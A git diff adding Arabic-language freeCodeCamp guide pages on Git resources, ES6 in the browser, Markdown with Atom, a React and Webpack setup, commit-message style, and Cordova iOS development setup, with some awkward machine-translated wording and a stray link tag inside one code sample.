+عند النسخ واللصق ، من المهم الحفاظ على التباعد. (أي للأسماء المستعارة ، يجب عدم وجود مسافات قبل وبعد علامات متساوية ، وبالنسبة للوظائف ، يجب أن يكون هناك مسافة بعد قوس التجويف الافتتاحي للإعلان وفاصلة منقوطة بعد الأمر. لا تنس إعادة تحميل الملف الخاص بك ( source `~/.bash_profile` ) أو `~/.bash_profile` تشغيل المحطة الطرفية بعد إجراء التغييرات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/wiki-git-resources/index.md b/client/src/guide/arabic/miscellaneous/wiki-git-resources/index.md
new file mode 100644
index 0000000000..b56b54a955
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/wiki-git-resources/index.md
@@ -0,0 +1,48 @@
+---
+title: Wiki Git Resources
+localeTitle: Wiki Git Resources
+---
+# الموارد Git
+
+مجموعة من الموارد على [Git VCS](https://git-scm.com) .
+
+Git هو نظام تحكم في إصدار الموزعة مجاني ومفتوح المصدر مصمم للتعامل مع كل شيء من المشاريع الصغيرة إلى الكبيرة جدًا مع السرعة والكفاءة.
+
+## مقالات
+
+*   [اسماء مستعارة](http://forum.freecodecamp.com/t/wiki-git-aliases/13155)
+*   [تعديل الماضي](http://forum.freecodecamp.com/t/amending-the-most-recent-commit-message/13186)
+*   [بوابة وراء وكيل](http://forum.freecodecamp.com/t/git-behind-a-proxy-server/13187)
+*   [لوم](http://forum.freecodecamp.com/t/find-the-culprit-with-git-blame/13194)
+*   [تغيير عنوان URL لمستودع بعيد](http://forum.freecodecamp.com/t/change-the-url-of-a-remote-repository/13196)
+*   [الخروج فرع بعيد](http://forum.freecodecamp.com/t/checkout-a-remote-branch-in-git/13198)
+*   [استنساخ جميع الفروع البعيدة](http://forum.freecodecamp.com/t/cloning-all-remote-branches-in-git/13202)
+*   [استنساخ فرع معين](http://forum.freecodecamp.com/t/cloning-a-specific-branch-in-git/13199)
+*   [كتابة رسائل Git Commit الجيدة](http://forum.freecodecamp.com/t/writing-good-git-commit-messages/13210)
+*   [احذف فرعًا محليًا وعن بعد](http://forum.freecodecamp.com/t/delete-a-git-branch-both-locally-and-remotely/13211)
+*   [تجاهل التغييرات غير متوقعة](http://forum.freecodecamp.com/t/discard-unstaged-changes-in-git/13214)
+*   [دمج](http://forum.freecodecamp.com/t/understand-how-to-use-git-merge/13215)
+*   [الكتابة فوق الملفات المحلية على السحب](http://forum.freecodecamp.com/t/override-local-files-with-git-pull/13216)
+*   [Pull vs Fetch](http://forum.freecodecamp.com/t/git-pull-vs-git-fetch/13219)
+*   [دفع المحلية إلى مستودع عن بعد](http://forum.freecodecamp.com/t/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/13222)
+*   [Rebase](http://forum.freecodecamp.com/t/how-to-use-git-rebase/13226)
+*   [إزالة Submodules](http://forum.freecodecamp.com/t/how-to-remove-a-submodule-in-git/13228)
+*   [إعادة تسمية الفرع المحلي](http://forum.freecodecamp.com/t/rename-local-branches-in-git/13230)
+*   [القرع يرتكب](http://forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)
+*   [التراجع Git Add](http://forum.freecodecamp.com/t/how-to-undo-a-git-add/13237)
+*   [التراجع وإعادة الإلتزام](http://forum.freecodecamp.com/t/when-to-undo-redo/13233)
+*   [ملفات Untrack](http://forum.freecodecamp.com/t/untrack-files-previously-committed-from-new-gitignore/13239)
+
+## الكتب والبرامج التعليمية
+
+*   [Pro Git](https://git-scm.com/book) - يتوفر كتاب برو جيت الكامل ، الذي كتبه سكوت تشاكون وبن شتراوب والذي نشرته Apress ، هنا. يمكنك تنزيل هذا الكتاب بتنسيق PDF أو mobi أو ePub مجانًا.
+*   [أصبح غورو المعلم - Atlassian](https://www.atlassian.com/git/tutorials/) - موقع متجاوب مع دروس Git والتدريب والمواد.
+*   [Git In The Trenches](http://cbx33.github.io/gitt/) - Git In The Trenches ، أو GITT تم تصميمه ليكون كتابًا يركز على تعليم الناس استخدام Git من خلال ربطه بالسيناريوهات التي تواجهها شركة خيالية تسمى Tamagoyaki Inc. تنزيل هذا الكتاب بتنسيق PDF أو mobi أو شكل ePub مجانا.
+*   [البرنامج التعليمي الرسمي لـ Git](https://git-scm.com/docs/gittutorial) - يشرح هذا البرنامج التعليمي كيفية استيراد مشروع جديد إلى Git وإجراء تغييرات عليه ومشاركة التغييرات مع مطورين آخرين.
+*   [دليل مستخدم Git الرسمي](https://git-scm.com/docs/user-manual.html) - تم تصميم هذا الدليل ليصبح قابلاً للقراءة من قبل شخص لديه مهارات سطر الأوامر الأساسية لـ UNIX ، ولكن ليس لديه معرفة سابقة بـ Git.
+*   [جرّب Git Tutorial by Github و CodeSchool](https://try.github.io) - هذا البرنامج التعليمي عبارة عن سرعة سريعة مدتها 15 دقيقة للبدء مع Git في المتصفح.
+
+## موارد آخرى
+
+*   [Git Ready](http://gitready.com) - 'Learn git one commit at a time' by Nick Quaranto
+*   [Hub](https://hub.github.com/) - Hub عبارة عن غلاف سطر أوامر لـ git يجعلك أفضل في GitHub.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/write-and-run-es6-code-in-the-browser/index.md b/client/src/guide/arabic/miscellaneous/write-and-run-es6-code-in-the-browser/index.md
new file mode 100644
index 0000000000..26032734b6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/write-and-run-es6-code-in-the-browser/index.md
@@ -0,0 +1,22 @@
+---
+title: Write and Run Es6 Code in the Browser
+localeTitle: اكتب وأكتب رمز Es6 في المتصفح
+---
+> تضمين التعليمة البرمجية التالية في الصفحة.
+
+ ``<!-- Write these first. Here `bootstrap.js` doesn't mean Twitter Bootstrap. --> 
+ <script src="https://google.github.io/traceur-compiler/bin/traceur.js"></script> 
+ <script src="https://google.github.io/traceur-compiler/src/bootstrap.js"></script> 
+ 
+ <!-- Edit the src. Write `type="module"` (important) for linked script --> 
+ <script src="app.js" type="module"></script> 
+ 
+ <!-- Remember to write `type="module"` for embedded script --> 
+ <script type="module"> 
+    //→ write your script here 
+ </script> 
+`` 
+
+**انظر:** [Traceur Compiler الابتداء](https://github.com/google/traceur-compiler/wiki/Getting-Started)
+
+**العرض التوضيحي:** [ES6 Demo Repo Source](https://github.com/abhisekp/JS-Weird-Parts/tree/109ab3b0c94d1fbf9bbc402dd36e9bca60d5b456)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md b/client/src/guide/arabic/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md
new file mode 100644
index 0000000000..45a69a0595
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md
@@ -0,0 +1,64 @@
+---
+title: Writing a Markdown File for Github Using Atom
+localeTitle: كتابة ملف Markdown ل Github باستخدام Atom
+---
+يمثل Markdown طريقة لتصميم النص على الويب ، ويستفيد مستخدمو GitHub من الترقيم لتوفير الوثائق لمستودعاتهم.
+
+من [أدلة GitHub](https://guides.github.com/features/mastering-markdown/) :
+
+> يمكنك التحكم في عرض المستند. إن تنسيق الكلمات على شكل غامق أو مائل ، وإضافة الصور ، وإنشاء القوائم ليست سوى عدد قليل من الأشياء التي يمكننا القيام بها باستخدام Markdown. في الغالب ، Markdown هو مجرد نص عادي مع عدد قليل من الأحرف غير الأبجدية القيت ، مثل # أو \*.
+> 
+> يمكنك استخدام Markdown في معظم الأماكن حول GitHub:
+> 
+> *   جوهر
+> *   التعليقات في القضايا وطلبات السحب
+> *   الملفات ذات الامتداد .md أو .markdown
+> 
+> ملفات `.md` السعر تحتوي على الامتداد `.md` وسترى أن عددًا كبيرًا من مستودعات GitHub بها ملفات `README.md` .
+
+مثال رائع هو أنك إذا أردت كتابة ملف Wiki لهذا المستودع ، فستحتاج إلى أن يكون ملف `.md` . ما تقرأه الآن هو ملف `writing-a-markdown-file-using-atom.md` يسمى " `writing-a-markdown-file-using-atom.md` ملف `writing-a-markdown-file-using-atom.md` .
+
+ملفات تخفيض السعر سهلة الكتابة ، ويمكنك العثور على ورقة الغش تخفيض السعر [هنا](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet) .
+
+## إنشاء ملف التمهيدي على جيثب
+
+يمكنك إنشاء ملف README.md على GitHub نفسه:
+
+![لقطة شاشة 2016-02-29 في 18 07 19](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9a1d7f226df87df437f616fcaf5b7adcf02c8e87.png)
+
+يمنحك ذلك القدرة على التبديل بين طرق عرض "تعديل ملف جديد" و "معاينة":
+
+![لقطة شاشة 2016-02-29 في 18 06 24](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e0b3ddb69c3f2c32c0c7e73f1b1d196a54f03c21.png)
+
+هذا مثالي إذا كان الملف التمهيدي الخاص بك صغيرًا ، ولا تمانع في التبديل بين طريقتي العرض.
+
+ولكن ماذا لو لم يكن ملف `.md` الخاص بك `.md` ، وتريد ترف العمل في محرر نصوص ومعاينة مباشرة لما يبدو عليه نصك في نفس الوقت الذي تقوم فيه بتحريره؟
+
+## كتابة ملفات تخفيض السعر باستخدام Atom
+
+إذا كنت تكتب ملفًا تقريبًا طويلًا أو مفصلاً ، فسيساعدك ذلك في الحصول على معاينة مباشرة لما يبدو عليه شكلك الشعار ، تمامًا كما قد تستخدم إمكانات إعادة التحميل المباشر لتحديث متصفحك إذا كنت تعمل في مشروع يستخدم HTML و CSS ، على سبيل المثال.
+
+هناك طريقة جيدة للانطلاق نحو إنشاء ملف تخفيض السعر يستخدم [محرر نص Atom](https://atom.io/) . يمكنك تثبيت Atom واستخدامه مجانًا.
+
+تستخدم Atom ، مثل برامج تحرير النصوص الأخرى ، الحزم ، وهي أجزاء من التعليمات البرمجية التي تسمح لك بتخصيص سير العمل الخاص بك.  
+1\. أولاً ، سترغب في تثبيت محرر نص Atom من [هنا](https://atom.io/) .  
+2\. عندما يتم تثبيت Atom ، افتحه ، وافتح ملفًا جديدًا `.md` .  
+3\. لمشاهدة المعاينة المباشرة ، انقر بزر الماوس الأيمن فوق ملف `.md` الخاص بك من المستكشف الموجود على اليمين ، ثم حدد الخيار العلوي ، "معاينة تخفيض السعر":
+
+![لقطة شاشة 2016-02-29 في 18 17 30](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ea3746446180c0e0ad2bb61f30a6c3ad8bc25c57.png)
+
+رائع! يجب أن تشاهد الآن جزأين في Atom. على اليسار يوجد النص الخاص بك ، وعلى اليمين هو تخفيض السعر "المجمع" ، أي ما قد يبدو عليه على GitHub:
+
+![لقطة شاشة 2016-02-29 في 18 21 38](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a1f27aa8afe060e252f245ced3456f196c85ef1b.png)
+
+لاحظ أن Atom يتعرف أيضًا على ما تعمل معه ليكون تنسيقًا محددًا ، أي "GitHub Markdown":
+
+![لقطة شاشة 2016-02-29 في 19 15 43](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf5b2fc473c32a14a2de302fd88e4c2edde02453.png)
+
+1.  عندما يكون ملف تخفيض السعر الخاص بك جاهزًا للالتزام بمستودع GitHub ، يمكنك المضي قدمًا وإلزامه!
+
+للمساهمة في ويكي FreeCodeCamp ، انتقل إلى [هذه الصفحة](https://github.com/FreeCodeCamp/freecodecamp/wiki) واطلع على قسم "أدلة حول كيفية المساهمة".
+
+لإضافة مشروع أو ملفات إلى GitHub ، انتقل إلى [هذه الصفحة](https://help.github.com/articles/adding-an-existing-project-to-github-using-the-command-line/) .
+
+**خطوة إضافية:** تحتوي Atom على حزمة باسم [Markdown Preview Plus](https://atom.io/packages/markdown-preview-plus) . وهو يفعل نفس طريقة المعاينة العادية للضغط ، ولكن يتم تصميم ملف المعاينة بشكل أكثر دقة على نمط GitHub. المضي قدما وتثبيت هذه الحزمة ونرى ما تحصل عليه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md b/client/src/guide/arabic/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md
new file mode 100644
index 0000000000..76bba26679
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md
@@ -0,0 +1,125 @@
+---
+title: Writing Code for Your Es6 React with Webpack Project
+localeTitle: كتابة قانون لك Es6 React مع Webpack Project
+---
+## شعبة نظم و / index.html
+
+يمكننا الآن فتح `dist/index.html` . ستكون هذه الصفحة HTML الوحيدة التي تُحمِّل تطبيقنا بالكامل. لا نحتاج إلى الكثير من الشفرات على الإطلاق لهذا الملف ، وهو ما يكفي فقط إلى:
+
+*   اضبط عنصرًا لـ React DOM في `src/js/client.js` .
+*   اربط ملف جافا سكريبت الخاص بنا (الذي لم يكن موجودًا حتى الآن).
+
+لذلك ، هذا ما سيبدو عليه ملف `dist/index.html` :
+
+ ``<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>React Webpack Example</title> 
+ </head> 
+ <body> 
+  <!-- React app will be injected into the following `div` element: --> 
+  <div id="app"></div> 
+  <!-- Include bundled JavaScript: --> 
+  <script src="bundle.js"></script> 
+ </body> 
+ </html> 
+`` 
+
+قد تتساءل عن سبب `bundle.js` هذه الصفحة بـ `bundle.js` عندما يكون كل ما لدينا حتى الآن هو `src/js/client.js` . سيتم الكشف عن هذا في وقت لاحق عندما نكتب ملف تكوين Webpack الخاص بنا.
+
+## SRC / شبيبة / client.js
+
+الآن حان الوقت لكتابة بعض رموز React. تمامًا كما هو الحال في ملف `dist/index.html` ، `dist/index.html` الآن ما يكفي من الشفرات للحصول على التطبيق ، لذا لن يكون هناك الكثير من الشفرات المطلوبة على الإطلاق:
+
+ `import React from 'react'; 
+ import ReactDOM from 'react-dom'; 
+ 
+ class Main extends React.Component { 
+  render() { 
+    return ( 
+      <div> 
+        <h1>This is one cool app!</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+ 
+ const app = document.getElementById('app'); 
+ ReactDOM.render(<Main />, app); 
+` 
+
+الرمز الذي يشبه عناصر HTML هو في الواقع JSX ، وهو جزء من React.
+
+*   [مساعدة: المزيد عن JSX](http://buildwithreact.com/tutorial/jsx)
+
+لشرح ما يجري في هذا الملف ، سنقوم بتفصيله:
+
+*   أولا، نحن استيراد `React` و `ReactDOM` . هذه مطلوبة لأي ملف React يتم استخدامه لحقن الكود في DOM. The `ReactDOM` هو DOM ظاهري ، وهو ليس نفس الشيء مثل نموذج كائن المستند القياسي.
+    
+*   [مساعدة: المزيد عن React DOM](https://facebook.github.io/react/docs/glossary.html)
+    
+    *   بعد ذلك ، نقوم بإنشاء فئة React. تمت إضافة فئات إلى JavaScript في ES6. لذلك ، هذه هي طريقة ES6 لكتابة فئة React ، ولكن بالطبع [يمكننا كتابة واحدة في ES5 أيضًا](https://toddmotto.com/react-create-class-versus-component/) .
+*   [مساعدة: المزيد عن دروس ES6](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)
+    
+
+كل فئة React لديه طريقة `render` . في هذه الحالة ، `return` طريقة `render` إلى عنصر `div` JSX. هذا ما سنراه في كل ملف React. يمكن أن تحتوي الطبقة الأساليب الأخرى التي يجب أن تظهر قبل `render` طريقة، والذي يذهب دائما في الجزء السفلي من فئة.
+
+*   أخيرًا ، نحن نربط React بـ `index.html` لدينا. قمنا بتعيين `app` ليكون موقعًا حيثما أردنا أن يتم حقن شفرة React الخاص بنا. وأخيرًا ، باستخدام ReactDOM ، نقوم بحقن المكون الذي كتبناه ، `<Main />` ، في التطبيق ، وهو في هذه الحالة `div` مع `id` `app` .
+
+## webpack.config.js
+
+ما زال هناك ملف واحد آخر يكتب قبل أن يصبح مشروعنا جاهزًا. إنه ملف تكوين Webpack. في البداية ، يمكن أن تكون ملفات `webpack.config.js` مربكة للنظر ، ولكن في كثير من الأحيان ، ليست معقدة كما تبدو.
+
+في هذه الحالة ، في أبسط `webpack.config.js` ، يقوم `webpack.config.js` بتصدير كائن له الخصائص التالية:
+
+| الملكية الدور  
+| --- | --- |  
+| دخول | ما يدور في: نقطة دخول التطبيق. في هذه الحالة ، يكون `src/js/client.js` . |  
+| الانتاج | ما الذي سيخرج: ما ستقوم حزمة Webpack بتجميعه لنا. في هذه الحالة ، كل ما نسميه في `webpack.config.js` . |  
+| رافعات | المهام التي ستنفذها Webpack. |
+
+هذا ما يبدو عليه ملف `webpack.config.js` :
+
+ `var path = require('path'); 
+ var srcPath = path.join(__dirname, 'src'); 
+ var buildPath = path.join(__dirname, 'dist'); 
+ 
+ module.exports = { 
+  context: srcPath, 
+  entry: path.join(srcPath, 'js', 'client.js'), 
+  output: { 
+      path: buildPath, 
+      filename: "bundle.js" 
+  }, 
+  module: { 
+      loaders: <a href='https://en.wikipedia.org/wiki/Don%27t_repeat_yourself' target='_blank' rel='nofollow'> 
+          { 
+            test: /\.jsx?$/, 
+            exclude: /(node_modules|bower_components)/, 
+            loader: 'babel', 
+            query: { 
+              presets: ['react', 'es2015'] 
+            } 
+          } 
+      ] 
+  } 
+ }; 
+` 
+
+مرة أخرى ، دعنا نكسرها بحيث يتضح ما يفعله هذا الملف:
+
+*   أولاً ، نحن نطلب وحدة `path` NodeJS بحيث يمكننا التعامل مع مسارات الملفات ، والتي تكون مطلوبة لتعيين `context` الكائن. من المهم جدًا استخدام هذه الوحدة بدلاً من محاولة وربط الدلائل بالسلاسل ، لأن بعض أنظمة التشغيل ، مثل Windows ، تتطلب ذلك.
+    
+*   ثم ، نحدد `srcPath` و `buildPath` باستخدام وحدة `path` التي `buildPath` فقط. سيضمن القيام بذلك لدينا \[جاف ، رمز قابل للقراءة.
+    
+*   حان الوقت الآن لكتابة الكائن. الخصائص التي سنستخدمها كلها ذات صلة بـ Webpack.
+    
+    *   نقدم أولاً سياقًا يحدد ببساطة مكان تطبيقنا. إنه يشير إلى متغير `context` الذي أنشأناه للتو.
+    *   ثم نحدد نقطة الدخول ، وهو بالطبع تطبيق `src/js/client.js` سابقًا ( `src/js/client.js` ).
+    *   بعد ذلك ، نحدد اسم الملف المجمّع الذي ينشئه Webpack عند تشغيله. في هذه الحالة ، يكون `dist/bundle.js` . تبدو مألوفة؟ يجب أن تفعل ، لأن هذا هو الملف الذي نربطه من `dist/index.html` لدينا!
+    *   وأخيرًا ، تأتي خاصية `module` ، التي تحتوي على مصفوفة ، `loaders` ، تحتوي حاليًا على كائن واحد. تخبر خصائص هذا الكائن Webpack ما هي ملفات جافا سكريبت التي يتم كتابتها مع ES6 و React ، بحيث يمكن تشغيل محمل لها ، `babel` وفقا لذلك عند تشغيل `webpack.config.js` . هذا هو رمز المعيار الرئيسي الذي يمكننا رؤيته في [الصفحة التمهيديّة على Babel Loader](https://github.com/babel/babel-loader) .
+
+إذا كان `webpack.config.js` مربكًا الآن ، فلا داعي للقلق ، طالما أنك تفهم ما هو موجود فعله.
+
+*   [تعليمات: المزيد حول كتابة ملف تكوين Webpack](https://webpack.github.io/docs/tutorials/getting-started/#config-file)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/writing-good-git-commit-messages/index.md b/client/src/guide/arabic/miscellaneous/writing-good-git-commit-messages/index.md
new file mode 100644
index 0000000000..3115468d2a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/writing-good-git-commit-messages/index.md
@@ -0,0 +1,34 @@
+---
+title: Writing Good Git Commit Messages
+localeTitle: كتابة رسائل Git Commit الجيدة
+---
+1.  موضوع منفصل من الجسم مع خط فارغ
+2.  حدد سطر الموضوع إلى 50 حرفًا
+3.  تكبير خط الموضوع
+4.  لا تنهي سطر الموضوع بنقطة
+5.  استخدام المزاجية الحتمية في سطر الموضوع
+6.  التفاف الجسم في 72 حرفا
+7.  استخدم الجسد لشرح ماذا ولماذا في مقابل ذلك
+
+**يجب أن يكون سطر موضوع الالتزام باستخدام git بشكل صحيح قادراً على إكمال الجملة التالية:**
+
+> إذا تم تطبيقه ، فإن هذا الالتزام سيصبح _`<<your subject line here>>`_
+
+**فمثلا:**
+
+*   إذا تم تطبيقه ، فإن هذا الالتزام سوف يعمل على **_إعادة ضبط النظام الفرعي X لسهولة القراءة_**
+*   إذا تم تطبيقه ، فسيؤدي هذا الالتزام إلى **_تحديث وثائق البدء_**
+*   إذا تم تطبيقه ، فسيؤدي هذا الالتزام إلى **_إزالة طرق موقوفة_**
+*   إذا تم تطبيقه ، فإن هذا الالتزام سيطلق **_الإصدار 1.0.0_**
+*   إذا تم تطبيقه ، فسيتم **_دمج_** هذا الالتزام **_لطلب السحب رقم 123 من المستخدم / الفرع_**
+
+**لاحظ كيف لا يعمل ذلك مع الأشكال الأخرى غير الضرورية:**
+
+*   إذا تم تطبيقه ، فسيتم _إصلاح_ هذا الالتزام _مع الخطأ Y_
+*   إذا تم تطبيقه ، فإن هذا الالتزام سيؤدي إلى _تغيير سلوك X_
+*   إذا تم تطبيقه ، فسيعمل هذا الالتزام بشكل _أكبر على إصلاح الأشياء المكسورة_
+*   إذا تم تطبيقه ، فسيؤدي هذا الالتزام إلى _طرق API الجديدة الحلوة_
+
+**تذكر:** _استخدام الأمر أمر مهم فقط في سطر الموضوع. يمكنك تخفيف هذا القيد عندما تكتب الجسد._
+
+**المرجع:** [http://chris.beams.io/posts/git-commit](http://chris.beams.io/posts/git-commit)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md b/client/src/guide/arabic/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md
new file mode 100644
index 0000000000..4af05768bf
--- /dev/null
+++ b/client/src/guide/arabic/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md
@@ -0,0 +1,181 @@
+---
+title: Cordova iOS Application Development Setup to Deployment
+localeTitle: إعداد تطوير تطبيق Cordova iOS للنشر
+---
+# إعداد تطوير تطبيق Cordova iOS للنشر
+
+![iphone_1737513_1920](https://image.ibb.co/iKCSuQ/Xz_J197k8_QI32.jpg)
+
+تطوير التطبيق الهجين لالروبوت هو نسيم ، سواء كان ذلك لتطوير أو إنتاج التكوين ، ولكن أنا شخصيا العثور على إعداد دائرة الرقابة الداخلية كوردوفا ، وتطوير ونشر معقدة بعض الشيء.
+
+يتعذر على معظم مطوري التطبيقات المختلطة الذين هم في مرحلة التعلم استكشاف عملية تطوير تطبيقات iOS المختلطة نظرًا لسبب بسيط هو أنهم لا يملكون جهاز Mac ، نظرًا لأن تطوير تطبيقات iOS يتطلب SDK و XCode لنظام التشغيل iOS بخلاف Android SDK الذي يعمل على أي سطح المكتب OS. وبالتالي ، فإن الهدف من هذا الدليل هو إظهار سير العمل الأساسي لتطوير تطبيق نظام التشغيل المختلط لنظام iOS على جهاز ماكنتوش ، بحيث يكون develoer حتى إذا لم يكن قادرًا على تطوير تطبيقات iOS ، على الأقل يكون على دراية بكيفية عمله.
+
+## إنشاء مشروع قرطبة
+
+ابدأ بفتح الوحدة الطرفية وإنشاء مشروع Cordova جديد (استخدم sudo فقط إذا كان لديك مشكلات في الإذن ، أي أخطاء EACCESS):
+
+ `sudo cordova create iosdemo 
+ cd iosdemo 
+ sudo cordova platform add ios 
+` 
+
+في وقت كتابة هذا الدليل ، فإن هذا الإصدار من منصة Cordova iOS هو: 4.3.1
+
+لن نقوم بتعديل أي شفرة مصدر للتطبيق ونستمر في متابعة نموذج التعليمة البرمجية الافتراضي الذي تتم إضافته تلقائيًا بواسطة Cordova عند تشغيل الأمر create. ومع ذلك فمن المفترض أننا سنقوم بإضافة كود تعديل الملحقات في مجلد `www` أثناء تدفق التطوير العادي.
+
+الخطوة التالية هي لتشغيل الأمر بناء كوردوفا. سيؤدي هذا إلى تحويل شفرة التطبيق إلى ملف .xcodeproj الذي سنستخدمه بعد ذلك.
+
+ `sudo cordova build ios 
+` 
+
+سيكون ملف مشروع Xcode الذي تم إنشاؤه في:
+
+ `[Your App Folder]/platforms/ios/[Your App Name].xcodeproj 
+` 
+
+الآن في حالة حدوث Android ، يتم توقيع الشفرة باستخدام ملف Keystore بتنسيق jj. ومع ذلك ، في حالة ركاب iOS لتوزيع تطبيقات iOS ، يجب أن يكون لديك حساب مطوّر برامج Apple ، هذا حتى نتمكن من إنشاء _الشهادات_ _وملفات التعريف الاحتياطية_ اللازمة لتوزيع التطبيق.
+
+للحصول على أسعار حساب المطور ، قم بإحالة [هذه الصفحة](https://developer.apple.com/support/purchase-activation/)
+
+## خلق شهادات التنمية
+
+بمجرد أن يكون حسابك جاهزًا ، يمكنك المتابعة بشكل أكبر وتسجيل الدخول إلى [حساب مطوّر برامج Apple](https://developer.apple.com/account/)
+
+يجب أن تبدو شاشة لوحة المعلومات كما يلي: ![افتتاح المشروع في Xcode](https://image.ibb.co/j0d8zQ/Clipboard_image_2017_09_18_11_35_58.png)
+
+انقر على `Certificates, Identifiers & Profiles` من المفترض أن ينقلك هذا إلى الشاشة التالية ، التي تعرض افتراضيًا الشهادات الصادرة من حسابك: ![الشهادات والمعرفات والملفات الشخصية](https://image.ibb.co/fk8mm5/1.png)
+
+تعتبر iOS Certficates من نوعين رئيسيين: التطوير أو التوزيع ، انقر فوق زر علامة الزائد (+) في الزاوية العلوية اليمنى من القائمة التي ستفتح الصفحة التالية: ![إضافة شهادة iOS](https://image.ibb.co/dksXtk/2.png)
+
+أولاً ، يتيح إنشاء ملف تعريف تطوير: حدد _تطوير تطبيقات iOS_ وانقر فوق متابعة.
+
+يجب أن ينقلك هذا إلى الشاشة التالية ، حيث يُطلب منك إنشاء وتحميل "طلب توقيع شهادة" أو ملف CSR. ![تحميل ملف CSR](https://image.ibb.co/iwBE65/3.png)
+
+اتبع التعليمات التي تظهر على الشاشة لتوليدها ، والمتابعة. بمجرد أن تصبح الشهادة جاهزة ، قم بتنزيلها على جهاز Mac الخاص بك ، ثم انقر فوقه نقرًا مزدوجًا. سيؤدي ذلك إلى إضافته إلى Keychain Access في نظام التشغيل Mac. ![تنزيل شهادة التطوير](https://image.ibb.co/dJg6m5/4.png)
+
+## خلق شهادات التوزيع
+
+يشبه إنشاء شهادات التوزيع عملية إنشاء شهادات التطوير ، ولكننا هنا نختار `App Store and Ad Hoc` من قسم `Production` في صفحة `Add iOS Certifcate Page`
+
+![إضافة شهادة iOS](https://image.ibb.co/bEKFeQ/5.png)
+
+## إنشاء معرف التطبيق
+
+حدد `App IDs` من قسم `Identifiers` ، سيؤدي هذا إلى فتح قائمة معرفات التطبيقات الحالية ، انقر بعد ذلك على زر "بلاس" في أعلى اليمين (+) ، سيفتح هذا صفحة _معرفات تطبيق تسجيل iOS_ .
+
+![تسجيل معرفات تطبيق iOS](https://image.ibb.co/iXTuOk/6.png)
+
+حدد معرف التطبيق الصريح
+
+يمكن أن يكون وصف التطبيق أي اسم مرتبط سيتم عرضه في قائمة معرّفات التطبيق مقابل معرف التطبيق المحدد.
+
+معرف التطبيق عبارة عن سلسلة بتنسيق _AB11A1ABCD.com.mycompany.myapp_ حيث _AB11A1ABCD_ عبارة عن بادئة هوية التطبيق والتي تكون بشكل افتراضي معرف الفريق و _com.mycompany.myapp_ عبارة عن معرف الحزمة الذي يكون فريدًا لكل تطبيق. من المستحسن أن يكون معرف الحزمة في سلسلة نمط اسم المجال العكسي ، على سبيل المثال ، قد يكون لدى الشركة MYCOMPANY تطبيقين (App1 و App2) ، وبالتالي فإن http url لكل تطبيق يكون عادة app1.mycompany.com و app2.mycompany كوم، وبالتالي ، ستكون معرّفات المجموعة لكل تطبيق com.mycompany.app1 و com.mycompany.app2
+
+بعد ذلك ، حدد أي خدمات من chceklist تحتاج إلى استخدامها في تطبيقك ، مثل إشعارات الدفع ، المحفظة إلخ. بعد ذلك ، انقر على "متابعة" وتأكيد التفاصيل وأخيرًا تسجيل رقم تعريف التطبيق.
+
+## إضافة أجهزة لحساب المطور
+
+حدد `All` من قسم `Devices` ، سيؤدي ذلك إلى فتح قائمة الأجهزة المضافة بالفعل إلى حساب مطور Apple الخاص بك ، لا يُسمح إلا لهذه الأجهزة بتشغيل التطبيق أثناء التطوير. لإضافة جهاز جديد ، انقر على زر "بلاس" في أعلى اليمين (+) سيتم عرض الشاشة التالية: ![إضافة شاشة الجهاز](https://image.ibb.co/gTmW3k/8.png)
+
+هنا يمكن أن يكون اسم أي اسم سبيل المثال قابل للتحويل بسهولة ، iPhone 5s ABC Pvt Ltd. UDID للجهاز هو المعرف الفريد المرتبط بكل جهاز Apple.
+
+للعثور على UDID لأحد الأجهزة ، اتبع الخطوات المذكورة أدناه: 1) قم بتوصيل الجهاز بجهاز Mac الخاص بك. 2) افتح تطبيق معلومات النظام الموجود في المجلد / Applications / Utilities. 3) حدد USB تحت الأجهزة في العمود الأيسر. 4\_ على اليمين ، حدد الجهاز المتصل ضمن شجرة جهاز USB. معرف الجهاز ، أو "الرقم التسلسلي" ، يظهر أدناه.
+
+بمجرد إدخال UDID للجهاز والاسم ، انقر فوق متابعة ، ثم قم بتأكيد التفاصيل والتسجيل.
+
+## إنشاء ملف تعريف التهيئة التنموية
+
+لإنشاء ملف تخصيص للتخصيص ، انقر على "ملفات تعريف التوفير" -> الكل هذا يجب أن تظهر جميع التشكيلات ، التنمية وكذلك التوزيع. انقر بعد ذلك على زر الإضافة في أعلى اليمين (+) يجب أن يعرض هذا الصفحة التالية: ![إنشاء ملف تعريف توفير التطوير](https://image.ibb.co/dk3KOk/7.png)
+
+هنا حدد `iOS App Development` وانقر على متابعة. في القائمة المنسدلة المعروضة ، حدد معرف التطبيق الذي أنشأناه سابقًا والمتابعة.
+
